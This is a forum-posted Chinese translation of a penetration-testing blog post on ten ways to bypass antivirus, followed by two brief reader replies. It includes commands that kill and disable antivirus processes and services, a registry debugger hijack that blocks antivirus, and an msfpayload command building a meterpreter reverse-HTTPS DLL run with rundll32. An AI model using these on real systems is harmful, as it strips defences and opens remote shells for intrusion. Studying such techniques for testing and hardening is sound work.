首页
社区
课程
招聘
[翻译]10个绕过反病毒软件的技巧
2019-3-21 00:21 9511

[翻译]10个绕过反病毒软件的技巧

2019-3-21 00:21
9511

原文:https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/

介绍

译者注:很多不通顺的语句改掉了,还有反病毒解决方案统一翻译为了反病毒软件。无关紧要的话直接意思翻译

 

许多反病毒软件的部署配置方法较弱,为最终用户提供了根据需求快速禁用或解决产品问题方法。因此,即使没有超级黑客“技能”的用户也可以运行恶意可执行文件(有意或无意),而无需以任何方式实际修改它们以避免检测。这种技术很适合于渗透测试。本博客将简要概述10个需要注意的问题。对于在当前实现中寻找基本弱点的管理员来说应该是有趣的。对于经验丰富的老人来说,这篇文章很可能不那么有趣。

 

免责声明:文章中的方法不是完整的方法,事实上也没有完美的绕过方法。我已经列出了本文的提纲,给那些不想上来就阅读的读者。

1、添加反病毒软件信任名单策略
2、通过GUI禁用反病毒软件
3、终止反病毒软件进程
4、停止并禁用反病毒服务
5、调试设置禁用反病毒软件
6、卸载反病毒软件
7、从UNC路径或可移动媒体执行
8、从备用数据流执行
9、DLL执行
10、外部文件系统执行

添加防病毒软件信任名单策略

一个有趣的选项是反病毒软件的策略偶尔用到的例外选项(可以理解是信任名单)。例如用户可以创建一个异常,允许所有具有“.exe”扩展名的文件在系统上运行。因此,大多数恶意软件和“黑客工具”都不会被阻止或删除。有关如何在Symantec End Point Protection产品中完成此操作的示例,请参阅以下Symantec帮助页面: http://www.symantec.com/business/support/index?page=content&id=TECH104326

通过GUI禁用反病毒

这在近几年不太常见,但历史上非管理用户有权通过GUI界面禁用许多反病毒软件。过去就像右键单击任务栏图标并选择禁用一样简单。可以想象,执行绕过反病毒所需的技能水平很低,但组织面临的风险很高。

终止反病毒软件进程

一些反病毒软件由多个服务组成,这些服务喜欢不断重启。 那在禁用服务之前终止进程可以派上用场。 通常可以使用taskkill命令。 这是基于Metasploit发布模块“killav”的作用。 仔细查看该模块可以在这里找到:https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/killav.rb

 

您可以发出以下命令,使用taskkill手动强制终止任务:

Taskkill /F /IM avprocess.exe

停止并禁用反病毒服务

在某些情况下,用户没有通过GUI禁用反病毒的权限,但他们确实可以控制相关服务。 如果是这种情况,则通常可以停止和禁用防病毒服务。 这可以通过services.msc,“sc”命令或“net stop”命令来完成。 但是在退出系统之前,请始终确保成为一个好的测试者并将服务恢复到其原始状态。

 

要停止Windows服务,请发出以下命令:

net stop “service name”

要禁用Windows服务,请发出以下命令:

sc config "service name" start= disabled

services.msc控制台还可用于通过GUI界面停止和禁用服务。 可以通过导航到【开始菜单】-> 【运行】并键入“services.msc”来访问它。

通过调试设置禁用反病毒软件

这是Khai Tran告诉我的一个非常酷的技巧。他引用的原始文章可以在http://blogs.msdn.com/b/greggm/archive/2005/02/21/377663.aspx找到。我建议看看这篇文章。简而言之,用户可以通过在注册表中设置自定义调试器来防止运行反病毒程序。当操作系统或用户尝试执行反病毒软件时,将执行指定的调试程序。这个方法太聪明了,恶意软件开发人员多年来一直使用它。下面提供了进行攻击的基本步骤。请注意,这些是从上面的链接中获取的。

运行regedit.exe
转到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image文件执行选项
创建一个新密钥(例如:calc.exe)
在exe下创建一个新的字符串值。字符串值的名称是'Debugger',值是svchost.exe(或任何东西)

卸载反病毒软件

虽然我不建议在渗透测试期间卸载反病毒软件,但这个方法仍然可以被视为有效的旁路方法。在卸载过程开始之前,某些反病毒卸载可能需要密码。在这些情况下,通常可以在注册表或系统上的ini文件中找到密码。但是可以使用其他旁路方法,如下面文章链接中所述。文章中建议在提示输入卸载密码时简单地终止“msiexec.exe”进程。http://helpdeskgeek.com/help-desk/uninstall-symantec-endpoint-protection-without-a-password/

从UNC路径或可移动媒体执行(U盘)

某些反病毒软件未配置为在通过UNC路径访问时扫描或阻止从SMB或WebDAV执行恶意二进制文件。这很奇怪,但确实如此。因此攻击者可以简单地映射包含后门,黑客工具等恶意的共享,并执行恶意软件。我猜有些人的印象是恶意软件无法存储在网络驱动器上。同样,某些反病毒软件未配置为扫描或阻止从可移动介质(如SD卡,iPod或USB驱动器)执行二进制文件。在社会工程学活动中现场丢弃恶意的USB驱动器是很常见的手法,所以这个让我有点害怕。

从备用数据流执行

备用数据流允许用户通过扩展文件名将数据存储在文件中。微软表示,“默认情况下,所有数据都存储在文件的主要未命名数据流中,但通过使用语法 ‘file:stream’可以读取和写入替换数据。恶意软件通常在备用流中存储文本,有效载荷(Payload)甚至完整二进制文件。历史上,反病毒软件错过了许多使用替代数据流的恶意软件。然而,多年来,AV在寻找它们方面变得更好。您可以使用流扫描系统中包含备用数据流的文件(http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx)来自Sysinternals工具包的工具。此外,您可以使用下面的基本示例自行尝试该技术。将文本“Hello world”回显到新文件的主数据流中:

echo Hello world > file

将文本“Hello Evil”回显为备用数据流:

echo Hello evil > file:evil

从文件的主数据流中读取:

type file

从文件的替代数据流中读取:

type file:evil

从DLL执行

在某些情况下,我发现如果反病毒软件被放入DLL而不是EXE文件中,反病毒软件就会错过恶意代码。我提供了一个如何使用Metasploit框架生成和运行DLL的基本示例。使用msfpayload命令创建包含meterpreter有效Payload的evil.DLL:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 D > evil.dll

使用Rundll32命令运行DLL main函数:

Rundll32 evil.dll, @DllMain12

从文件系统外部执行

显然,一些恶意软件存储并执行磁盘上文件系统外部的代码。听起来您可以通过某种方式引用物理驱动器来访问代码。我没有时间真正探索这个,但在“ 实用恶意软件分析:解析恶意软件的动手指南 ”一书中有所涉及。当我了解到更多细节的时候,我会再次分享。如果有人有详细信息,也请告诉我。

总结

希望您有一些有趣的实验然后更好地了解大多数反病毒软件真正提供的保护级别。我正在研究其他一些专注于通过源代码,二进制和流程操作来绕过反病毒软件的技术博客,这些技术博客也应该增加对常见旁路方法的一些了解。在此期间,享受其中的乐趣并且肩负起黑客的责任。

 

翻译:看雪翻译小组 lipss
校对:看雪翻译小组 skeep


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-3-21 00:21 被lipss编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (2)
雪    币: 107
活跃值: (508)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qqzhu 2019-5-25 12:31
2
0
这是什么年代的文章啊.....
雪    币: 4634
活跃值: (936)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
lipss 4 2019-5-28 23:53
3
0
qqzhu 这是什么年代的文章啊.....
因为文章也是老文章了,请把你的信息源在帖子下面贴一下。
游客
登录 | 注册 方可回帖
返回